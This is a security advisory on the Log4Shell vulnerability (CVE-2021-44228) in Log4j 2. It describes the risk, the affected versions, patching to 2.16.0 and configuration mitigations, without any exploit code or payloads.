Log4j Critical Advisory (CVE-2021-44228)

On 9^th of December 2021, a security researcher posted proof-of-concept code for one of the most serious and impactful vulnerabilities of the year. It has been likened to ShellShock, a vulnerability in 2014 that was widely exploited by attackers for compromising organisations and creating botnets. The exploit targets the extremely popular Java logging library Log4j 2. Due to this popularity, it is likely that most Java applications are vulnerable.

With a maximum CVSS score of 10.0, this vulnerability has the potential to be catastrophic. The vulnerability does not require any authentication and can be exploited reliably by attackers. We have outlined the key facts below and the actions you can take to ensure your business is not affected.

What is it?

The vulnerability dubbed Log4Shell exploits the way log messages are handled by the Log4j server. If an attacker can directly control the content of a log statement to contain the string, they can exploit the vulnerability. Attackers can craft a short text-based payload to reliably execute this vulnerability. This payload causes the Log4j service to download and execute a malicious file, which can be used to fully compromise the host.

Affected versions of Log4j are 2.0 – 2.14.1 inclusive.

Should you be concerned?

There are several factors that make this vulnerability as serious as it is and warrant the 10.0 CVSS score. The popularity of the Log4j 2 library in applications means there could be significant numbers of vulnerable servers on the Internet.

Secondly, the reliability of the exploit means if you can add data directly to the logs, you are very likely to be able to compromise the server.

Finally, the simplicity of the vulnerability means automated widespread attacks can be performed without complex exploit code. In fact, several sources have identified mass scanning of the vulnerability on the internet. If no action is taken, you may be at imminent risk of compromise.

What you can do

Given the indications that this is being exploited in the wild, you should immediately take any Java-based applications offline to the public.

If the software is provided by a third party, you should immediately contact your vendor and request a patch with the latest version of Log4j. For any in-built applications, you should look to upgrade to the latest version of Log4j which is 2.16.0 and is available here.

If full patching is not possible, there are some temporary mitigations available. For versions 2.10.0 and newer, set formatMsgNoLookups=true in your configuration file for Log4j. For older versions you can replace every logging pattern to say %m{nolookups} from %m in the logging config files. Alternatively, you can substitute a non-vulnerable implementation of org.apache.logging.log4j.core.lookup.JndiLookup in the application.

You can then begin to bring the services back online if they require public access.